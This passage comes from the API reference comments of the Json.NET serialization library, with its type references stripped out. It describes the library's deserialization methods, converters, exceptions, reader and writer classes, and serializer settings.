from the anonymous type passed - as a parameter. - - The JSON to deserialize. - The anonymous type object. - - The used to deserialize the object. - If this is null, default serialization settings will be used. - - The deserialized anonymous type from the JSON string. - - - - Deserializes the JSON to the specified .NET type using a collection of . - - The type of the object to deserialize to. - The JSON to deserialize. - Converters to use while deserializing. - The deserialized object from the JSON string. - - - - Deserializes the JSON to the specified .NET type using . - - The type of the object to deserialize to. - The object to deserialize. - - The used to deserialize the object. - If this is null, default serialization settings will be used. - - The deserialized object from the JSON string. - - - - Deserializes the JSON to the specified .NET type using a collection of . - - The JSON to deserialize. - The type of the object to deserialize. - Converters to use while deserializing. - The deserialized object from the JSON string. - - - - Deserializes the JSON to the specified .NET type using . - - The JSON to deserialize. - The type of the object to deserialize to. - - The used to deserialize the object. - If this is null, default serialization settings will be used. - - The deserialized object from the JSON string. - - - - Populates the object with values from the JSON string. - - The JSON to populate values from. - The target object to populate values onto. - - - - Populates the object with values from the JSON string using . - - The JSON to populate values from. - The target object to populate values onto. - - The used to deserialize the object. - If this is null, default serialization settings will be used. - - - - - Serializes the to a JSON string. - - The node to serialize. - A JSON string of the . - - - - Serializes the to a JSON string using formatting. - - The node to serialize. - Indicates how the output should be formatted. - A JSON string of the . - - - - Serializes the to a JSON string using formatting and omits the root object if is true. - - The node to serialize. - Indicates how the output should be formatted. - Omits writing the root object. - A JSON string of the . - - - - Deserializes the from a JSON string. - - The JSON string. - The deserialized . - - - - Deserializes the from a JSON string nested in a root element specified by . - - The JSON string. - The name of the root element to append when deserializing. - The deserialized . - - - - Deserializes the from a JSON string nested in a root element specified by - and writes a Json.NET array attribute for collections. - - The JSON string. - The name of the root element to append when deserializing. - - A value to indicate whether to write the Json.NET array attribute. - This attribute helps preserve arrays when converting the written XML back to JSON. - - The deserialized . - - - - Deserializes the from a JSON string nested in a root element specified by , - writes a Json.NET array attribute for collections, and encodes special characters. - - The JSON string. - The name of the root element to append when deserializing. - - A value to indicate whether to write the Json.NET array attribute. - This attribute helps preserve arrays when converting the written XML back to JSON. - - - A value to indicate whether to encode special characters when converting JSON to XML. - If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify - XML namespaces, attributes or processing directives. Instead special characters are encoded and written - as part of the XML element name. - - The deserialized . - - - - Serializes the to a JSON string. - - The node to convert to JSON. - A JSON string of the . - - - - Serializes the to a JSON string using formatting. - - The node to convert to JSON. - Indicates how the output should be formatted. - A JSON string of the . - - - - Serializes the to a JSON string using formatting and omits the root object if is true. - - The node to serialize. - Indicates how the output should be formatted. - Omits writing the root object. - A JSON string of the . - - - - Deserializes the from a JSON string. - - The JSON string. - The deserialized . - - - - Deserializes the from a JSON string nested in a root element specified by . - - The JSON string. - The name of the root element to append when deserializing. - The deserialized . - - - - Deserializes the from a JSON string nested in a root element specified by - and writes a Json.NET array attribute for collections. - - The JSON string. - The name of the root element to append when deserializing. - - A value to indicate whether to write the Json.NET array attribute. - This attribute helps preserve arrays when converting the written XML back to JSON. - - The deserialized . - - - - Deserializes the from a JSON string nested in a root element specified by , - writes a Json.NET array attribute for collections, and encodes special characters. - - The JSON string. - The name of the root element to append when deserializing. - - A value to indicate whether to write the Json.NET array attribute. - This attribute helps preserve arrays when converting the written XML back to JSON. - - - A value to indicate whether to encode special characters when converting JSON to XML. - If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify - XML namespaces, attributes or processing directives. Instead special characters are encoded and written - as part of the XML element name. - - The deserialized . - - - - Converts an object to and from JSON. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Gets a value indicating whether this can read JSON. - - true if this can read JSON; otherwise, false. - - - - Gets a value indicating whether this can write JSON. - - true if this can write JSON; otherwise, false. - - - - Converts an object to and from JSON. - - The object type to convert. - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. If there is no existing value then null will be used. - The existing value has a value. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Instructs the to use the specified when serializing the member or class. - - - - - Gets the of the . - - The of the . - - - - The parameter list to use when constructing the described by . - If null, the default constructor is used. - - - - - Initializes a new instance of the class. - - Type of the . - - - - Initializes a new instance of the class. - - Type of the . - Parameter list to use when constructing the . Can be null. - - - - Represents a collection of . - - - - - Instructs the how to serialize the collection. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class with the specified container Id. - - The container Id. - - - - The exception thrown when an error occurs during JSON serialization or deserialization. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class - with a specified error message. - - The error message that explains the reason for the exception. - - - - Initializes a new instance of the class - with a specified error message and a reference to the inner exception that is the cause of this exception. - - The error message that explains the reason for the exception. - The exception that is the cause of the current exception, or null if no inner exception is specified. - - - - Initializes a new instance of the class. - - The that holds the serialized object data about the exception being thrown. - The that contains contextual information about the source or destination. - The parameter is null. - The class name is null or is zero (0). - - - - Instructs the to deserialize properties with no matching class member into the specified collection - and write values during serialization. - - - - - Gets or sets a value that indicates whether to write extension data when serializing the object. - - - true to write extension data when serializing the object; otherwise, false. The default is true. - - - - - Gets or sets a value that indicates whether to read extension data when deserializing the object. - - - true to read extension data when deserializing the object; otherwise, false. The default is true. - - - - - Initializes a new instance of the class. - - - - - Instructs the not to serialize the public field or public read/write property value. - - - - - Base class for a table of atomized string objects. - - - - - Gets a string containing the same characters as the specified range of characters in the given array. - - The character array containing the name to find. - The zero-based index into the array specifying the first character of the name. - The number of characters in the name. - A string containing the same characters as the specified range of characters in the given array. - - - - Instructs the how to serialize the object. - - - - - Gets or sets the member serialization. - - The member serialization. - - - - Gets or sets the missing member handling used when deserializing this object. - - The missing member handling. - - - - Gets or sets how the object's properties with null values are handled during serialization and deserialization. - - How the object's properties with null values are handled during serialization and deserialization. - - - - Gets or sets a value that indicates whether the object's properties are required. - - - A value indicating whether the object's properties are required. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class with the specified member serialization. - - The member serialization. - - - - Initializes a new instance of the class with the specified container Id. - - The container Id. - - - - Instructs the to always serialize the member with the specified name. - - - - - Gets or sets the type used when serializing the property's collection items. - - The collection's items type. - - - - The parameter list to use when constructing the described by . - If null, the default constructor is used. - When non-null, there must be a constructor defined in the that exactly matches the number, - order, and type of these parameters. - - - - [JsonProperty(ItemConverterType = typeof(MyContainerConverter), ItemConverterParameters = new object[] { 123, "Four" })] - - - - - - Gets or sets the of the . - - The of the . - - - - The parameter list to use when constructing the described by . - If null, the default constructor is used. - When non-null, there must be a constructor defined in the that exactly matches the number, - order, and type of these parameters. - - - - [JsonProperty(NamingStrategyType = typeof(MyNamingStrategy), NamingStrategyParameters = new object[] { 123, "Four" })] - - - - - - Gets or sets the null value handling used when serializing this property. - - The null value handling. - - - - Gets or sets the default value handling used when serializing this property. - - The default value handling. - - - - Gets or sets the reference loop handling used when serializing this property. - - The reference loop handling. - - - - Gets or sets the object creation handling used when deserializing this property. - - The object creation handling. - - - - Gets or sets the type name handling used when serializing this property. - - The type name handling. - - - - Gets or sets whether this property's value is serialized as a reference. - - Whether this property's value is serialized as a reference. - - - - Gets or sets the order of serialization of a member. - - The numeric order of serialization. - - - - Gets or sets a value indicating whether this property is required. - - - A value indicating whether this property is required. - - - - - Gets or sets the name of the property. - - The name of the property. - - - - Gets or sets the reference loop handling used when serializing the property's collection items. - - The collection's items reference loop handling. - - - - Gets or sets the type name handling used when serializing the property's collection items. - - The collection's items type name handling. - - - - Gets or sets whether this property's collection items are serialized as a reference. - - Whether this property's collection items are serialized as a reference. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class with the specified name. - - Name of the property. - - - - Represents a reader that provides fast, non-cached, forward-only access to serialized JSON data. - - - - - Asynchronously reads the next JSON token from the source. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns true if the next token was read successfully; false if there are no more tokens to read. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously skips the children of the current token. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously reads the next JSON token from the source as a of . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the of . This result will be null at the end of an array. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously reads the next JSON token from the source as a []. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the []. This result will be null at the end of an array. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously reads the next JSON token from the source as a of . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the of . This result will be null at the end of an array. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously reads the next JSON token from the source as a of . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the of . This result will be null at the end of an array. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously reads the next JSON token from the source as a of . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the of . This result will be null at the end of an array. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously reads the next JSON token from the source as a of . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the of . This result will be null at the end of an array. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously reads the next JSON token from the source as a of . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the of . This result will be null at the end of an array. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously reads the next JSON token from the source as a . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the . This result will be null at the end of an array. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Specifies the state of the reader. - - - - - A read method has not been called. - - - - - The end of the file has been reached successfully. - - - - - Reader is at a property. - - - - - Reader is at the start of an object. - - - - - Reader is in an object. - - - - - Reader is at the start of an array. - - - - - Reader is in an array. - - - - - The method has been called. - - - - - Reader has just read a value. - - - - - Reader is at the start of a constructor. - - - - - Reader is in a constructor. - - - - - An error occurred that prevents the read operation from continuing. - - - - - The end of the file has been reached successfully. - - - - - Gets the current reader state. - - The current reader state. - - - - Gets or sets a value indicating whether the source should be closed when this reader is closed. - - - true to close the source when this reader is closed; otherwise false. The default is true. - - - - - Gets or sets a value indicating whether multiple pieces of JSON content can - be read from a continuous stream without erroring. - - - true to support reading multiple pieces of JSON content; otherwise false. - The default is false. - - - - - Gets the quotation mark character used to enclose the value of a string. - - - - - Gets or sets how time zones are handled when reading JSON. - - - - - Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. - - - - - Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. - - - - - Gets or sets how custom date formatted strings are parsed when reading JSON. - - - - - Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . - A null value means there is no maximum. - The default value is 64. - - - - - Gets the type of the current JSON token. - - - - - Gets the text value of the current JSON token. - - - - - Gets the .NET type for the current JSON token. - - - - - Gets the depth of the current token in the JSON document. - - The depth of the current token in the JSON document. - - - - Gets the path of the current JSON token. - - - - - Gets or sets the culture used when reading JSON. Defaults to . - - - - - Initializes a new instance of the class. - - - - - Reads the next JSON token from the source. - - true if the next token was read successfully; false if there are no more tokens to read. - - - - Reads the next JSON token from the source as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the source as a . - - A . This method will return null at the end of an array. - - - - Reads the next JSON token from the source as a []. - - A [] or null if the next JSON token is null. This method will return null at the end of an array. - - - - Reads the next JSON token from the source as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the source as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the source as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the source as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the source as a of . - - A of . This method will return null at the end of an array. - - - - Skips the children of the current token. - - - - - Sets the current token. - - The new token. - - - - Sets the current token and value. - - The new token. - The value. - - - - Sets the current token and value. - - The new token. - The value. - A flag indicating whether the position index inside an array should be updated. - - - - Sets the state based on current token type. - - - - - Releases unmanaged and - optionally - managed resources. - - true to release both managed and unmanaged resources; false to release only unmanaged resources. - - - - Changes the reader's state to . - If is set to true, the source is also closed. - - - - - The exception thrown when an error occurs while reading JSON text. - - - - - Gets the line number indicating where the error occurred. - - The line number indicating where the error occurred. - - - - Gets the line position indicating where the error occurred. - - The line position indicating where the error occurred. - - - - Gets the path to the JSON where the error occurred. - - The path to the JSON where the error occurred. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class - with a specified error message. - - The error message that explains the reason for the exception. - - - - Initializes a new instance of the class - with a specified error message and a reference to the inner exception that is the cause of this exception. - - The error message that explains the reason for the exception. - The exception that is the cause of the current exception, or null if no inner exception is specified. - - - - Initializes a new instance of the class. - - The that holds the serialized object data about the exception being thrown. - The that contains contextual information about the source or destination. - The parameter is null. - The class name is null or is zero (0). - - - - Initializes a new instance of the class - with a specified error message, JSON path, line number, line position, and a reference to the inner exception that is the cause of this exception. - - The error message that explains the reason for the exception. - The path to the JSON where the error occurred. - The line number indicating where the error occurred. - The line position indicating where the error occurred. - The exception that is the cause of the current exception, or null if no inner exception is specified. - - - - Instructs the to always serialize the member, and to require that the member has a value. - - - - - The exception thrown when an error occurs during JSON serialization or deserialization. - - - - - Gets the line number indicating where the error occurred. - - The line number indicating where the error occurred. - - - - Gets the line position indicating where the error occurred. - - The line position indicating where the error occurred. - - - - Gets the path to the JSON where the error occurred. - - The path to the JSON where the error occurred. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class - with a specified error message. - - The error message that explains the reason for the exception. - - - - Initializes a new instance of the class - with a specified error message and a reference to the inner exception that is the cause of this exception. - - The error message that explains the reason for the exception. - The exception that is the cause of the current exception, or null if no inner exception is specified. - - - - Initializes a new instance of the class. - - The that holds the serialized object data about the exception being thrown. - The that contains contextual information about the source or destination. - The parameter is null. - The class name is null or is zero (0). - - - - Initializes a new instance of the class - with a specified error message, JSON path, line number, line position, and a reference to the inner exception that is the cause of this exception. - - The error message that explains the reason for the exception. - The path to the JSON where the error occurred. - The line number indicating where the error occurred. - The line position indicating where the error occurred. - The exception that is the cause of the current exception, or null if no inner exception is specified. - - - - Serializes and deserializes objects into and from the JSON format. - The enables you to control how objects are encoded into JSON. - - - - - Occurs when the errors during serialization and deserialization. - - - - - Gets or sets the used by the serializer when resolving references. - - - - - Gets or sets the used by the serializer when resolving type names. - - - - - Gets or sets the used by the serializer when resolving type names. - - - - - Gets or sets the used by the serializer when writing trace messages. - - The trace writer. - - - - Gets or sets the equality comparer used by the serializer when comparing references. - - The equality comparer. - - - - Gets or sets how type name writing and reading is handled by the serializer. - The default value is . - - - should be used with caution when your application deserializes JSON from an external source. - Incoming types should be validated with a custom - when deserializing with a value other than . - - - - - Gets or sets how a type name assembly is written and resolved by the serializer. - The default value is . - - The type name assembly format. - - - - Gets or sets how a type name assembly is written and resolved by the serializer. - The default value is . - - The type name assembly format. - - - - Gets or sets how object references are preserved by the serializer. - The default value is . - - - - - Gets or sets how reference loops (e.g. a class referencing itself) is handled. - The default value is . - - - - - Gets or sets how missing members (e.g. JSON contains a property that isn't a member on the object) are handled during deserialization. - The default value is . - - - - - Gets or sets how null values are handled during serialization and deserialization. - The default value is . - - - - - Gets or sets how default values are handled during serialization and deserialization. - The default value is . - - - - - Gets or sets how objects are created during deserialization. - The default value is . - - The object creation handling. - - - - Gets or sets how constructors are used during deserialization. - The default value is . - - The constructor handling. - - - - Gets or sets how metadata properties are used during deserialization. - The default value is . - - The metadata properties handling. - - - - Gets a collection that will be used during serialization. - - Collection that will be used during serialization. - - - - Gets or sets the contract resolver used by the serializer when - serializing .NET objects to JSON and vice versa. - - - - - Gets or sets the used by the serializer when invoking serialization callback methods. - - The context. - - - - Indicates how JSON text output is formatted. - The default value is . - - - - - Gets or sets how dates are written to JSON text. - The default value is . - - - - - Gets or sets how time zones are handled during serialization and deserialization. - The default value is . - - - - - Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. - The default value is . - - - - - Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. - The default value is . - - - - - Gets or sets how special floating point numbers, e.g. , - and , - are written as JSON text. - The default value is . - - - - - Gets or sets how strings are escaped when writing JSON text. - The default value is . - - - - - Gets or sets how and values are formatted when writing JSON text, - and the expected date format when reading JSON text. - The default value is "yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK". - - - - - Gets or sets the culture used when reading JSON. - The default value is . - - - - - Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . - A null value means there is no maximum. - The default value is 64. - - - - - Gets a value indicating whether there will be a check for additional JSON content after deserializing an object. - The default value is false. - - - true if there will be a check for additional JSON content after deserializing an object; otherwise, false. - - - - - Initializes a new instance of the class. - - - - - Creates a new instance. - The will not use default settings - from . - - - A new instance. - The will not use default settings - from . - - - - - Creates a new instance using the specified . - The will not use default settings - from . - - The settings to be applied to the . - - A new instance using the specified . - The will not use default settings - from . - - - - - Creates a new instance. - The will use default settings - from . - - - A new instance. - The will use default settings - from . - - - - - Creates a new instance using the specified . - The will use default settings - from as well as the specified . - - The settings to be applied to the . - - A new instance using the specified . - The will use default settings - from as well as the specified . - - - - - Populates the JSON values onto the target object. - - The that contains the JSON structure to read values from. - The target object to populate values onto. - - - - Populates the JSON values onto the target object. - - The that contains the JSON structure to read values from. - The target object to populate values onto. - - - - Deserializes the JSON structure contained by the specified . - - The that contains the JSON structure to deserialize. - The being deserialized. - - - - Deserializes the JSON structure contained by the specified - into an instance of the specified type. - - The containing the object. - The of object being deserialized. - The instance of being deserialized. - - - - Deserializes the JSON structure contained by the specified - into an instance of the specified type. - - The containing the object. - The type of the object to deserialize. - The instance of being deserialized. - - - - Deserializes the JSON structure contained by the specified - into an instance of the specified type. - - The containing the object. - The of object being deserialized. - The instance of being deserialized. - - - - Serializes the specified and writes the JSON structure - using the specified . - - The used to write the JSON structure. - The to serialize. - - - - Serializes the specified and writes the JSON structure - using the specified . - - The used to write the JSON structure. - The to serialize. - - The type of the value being serialized. - This parameter is used when is to write out the type name if the type of the value does not match. - Specifying the type is optional. - - - - - Serializes the specified and writes the JSON structure - using the specified . - - The used to write the JSON structure. - The to serialize. - - The type of the value being serialized. - This parameter is used when is Auto to write out the type name if the type of the value does not match. - Specifying the type is optional. - - - - - Serializes the specified and writes the JSON structure - using the specified . - - The used to write the JSON structure. - The to serialize. - - - - Specifies the settings on a object. - - - - - Gets or sets how reference loops (e.g. a class referencing itself) are handled. - The default value is . - - Reference loop handling. - - - - Gets or sets how missing members (e.g. JSON contains a property that isn't a member on the object) are handled during deserialization. - The default value is . - - Missing member handling. - - - - Gets or sets how objects are created during deserialization. - The default value is . - - The object creation handling. - - - - Gets or sets how null values are handled during serialization and deserialization. - The default value is . - - Null value handling. - - - - Gets or sets how default values are handled during serialization and deserialization. - The default value is . - - The default value handling. - - - - Gets or sets a collection that will be used during serialization. - - The converters. - - - - Gets or sets how object references are preserved by the serializer. - The default value is . - - The preserve references handling. - - - - Gets or sets how type name writing and reading is handled by the serializer. - The default value is . - - - should be used with caution when your application deserializes JSON from an external source. - Incoming types should be validated with a custom - when deserializing with a value other than . - - The type name handling. - - - - Gets or sets how metadata properties are used during deserialization. - The default value is . - - The metadata properties handling. - - - - Gets or sets how a type name assembly is written and resolved by the serializer. - The default value is . - - The type name assembly format. - - - - Gets or sets how a type name assembly is written and resolved by the serializer. - The default value is . - - The type name assembly format. - - - - Gets or sets how constructors are used during deserialization. - The default value is . - - The constructor handling. - - - - Gets or sets the contract resolver used by the serializer when - serializing .NET objects to JSON and vice versa. - - The contract resolver. - - - - Gets or sets the equality comparer used by the serializer when comparing references. - - The equality comparer. - - - - Gets or sets the used by the serializer when resolving references. - - The reference resolver. - - - - Gets or sets a function that creates the used by the serializer when resolving references. - - A function that creates the used by the serializer when resolving references. - - - - Gets or sets the used by the serializer when writing trace messages. - - The trace writer. - - - - Gets or sets the used by the serializer when resolving type names. - - The binder. - - - - Gets or sets the used by the serializer when resolving type names. - - The binder. - - - - Gets or sets the error handler called during serialization and deserialization. - - The error handler called during serialization and deserialization. - - - - Gets or sets the used by the serializer when invoking serialization callback methods. - - The context. - - - - Gets or sets how and values are formatted when writing JSON text, - and the expected date format when reading JSON text. - The default value is "yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK". - - - - - Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . - A null value means there is no maximum. - The default value is 64. - - - - - Indicates how JSON text output is formatted. - The default value is . - - - - - Gets or sets how dates are written to JSON text. - The default value is . - - - - - Gets or sets how time zones are handled during serialization and deserialization. - The default value is . - - - - - Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. - The default value is . - - - - - Gets or sets how special floating point numbers, e.g. , - and , - are written as JSON. - The default value is . - - - - - Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. - The default value is . - - - - - Gets or sets how strings are escaped when writing JSON text. - The default value is . - - - - - Gets or sets the culture used when reading JSON. - The default value is . - - - - - Gets a value indicating whether there will be a check for additional content after deserializing an object. - The default value is false. - - - true if there will be a check for additional content after deserializing an object; otherwise, false. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class - using values copied from the passed in . - - - - - Represents a reader that provides fast, non-cached, forward-only access to JSON text data. - - - - - Asynchronously reads the next JSON token from the source. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns true if the next token was read successfully; false if there are no more tokens to read. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously reads the next JSON token from the source as a of . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the of . This result will be null at the end of an array. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously reads the next JSON token from the source as a []. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the []. This result will be null at the end of an array. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously reads the next JSON token from the source as a of . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the of . This result will be null at the end of an array. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously reads the next JSON token from the source as a of . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the of . This result will be null at the end of an array. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously reads the next JSON token from the source as a of . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the of . This result will be null at the end of an array. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously reads the next JSON token from the source as a of . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the of . This result will be null at the end of an array. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously reads the next JSON token from the source as a of . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the of . This result will be null at the end of an array. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously reads the next JSON token from the source as a . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the . This result will be null at the end of an array. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Initializes a new instance of the class with the specified . - - The containing the JSON data to read. - - - - Gets or sets the reader's property name table. - - - - - Gets or sets the reader's character buffer pool. - - - - - Reads the next JSON token from the underlying . - - - true if the next token was read successfully; false if there are no more tokens to read. - - - - - Reads the next JSON token from the underlying as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a . - - A . This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a []. - - A [] or null if the next JSON token is null. This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a of . - - A of . This method will return null at the end of an array. - - - - Changes the reader's state to . - If is set to true, the underlying is also closed. - - - - - Gets a value indicating whether the class can return line information. - - - true if and can be provided; otherwise, false. - - - - - Gets the current line number. - - - The current line number or 0 if no line information is available (for example, returns false). - - - - - Gets the current line position. - - - The current line position or 0 if no line information is available (for example, returns false). - - - - - Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. - - - - - Asynchronously flushes whatever is in the buffer to the destination and also flushes the destination. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes the JSON value delimiter. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes the specified end token. - - The end token to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously closes this writer. - If is set to true, the destination is also closed. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes the end of the current JSON object or array. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes indent characters. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes an indent space. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes raw JSON without changing the writer's state. - - The raw JSON to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a null value. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes the property name of a name/value pair of a JSON object. - - The name of the property. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes the property name of a name/value pair of a JSON object. - - The name of the property. - A flag to indicate whether the text should be escaped when it is written as a JSON property name. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes the beginning of a JSON array. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes the beginning of a JSON object. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes the start of a constructor with the given name. - - The name of the constructor. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes an undefined value. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes the given white space. - - The string of white space characters. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to 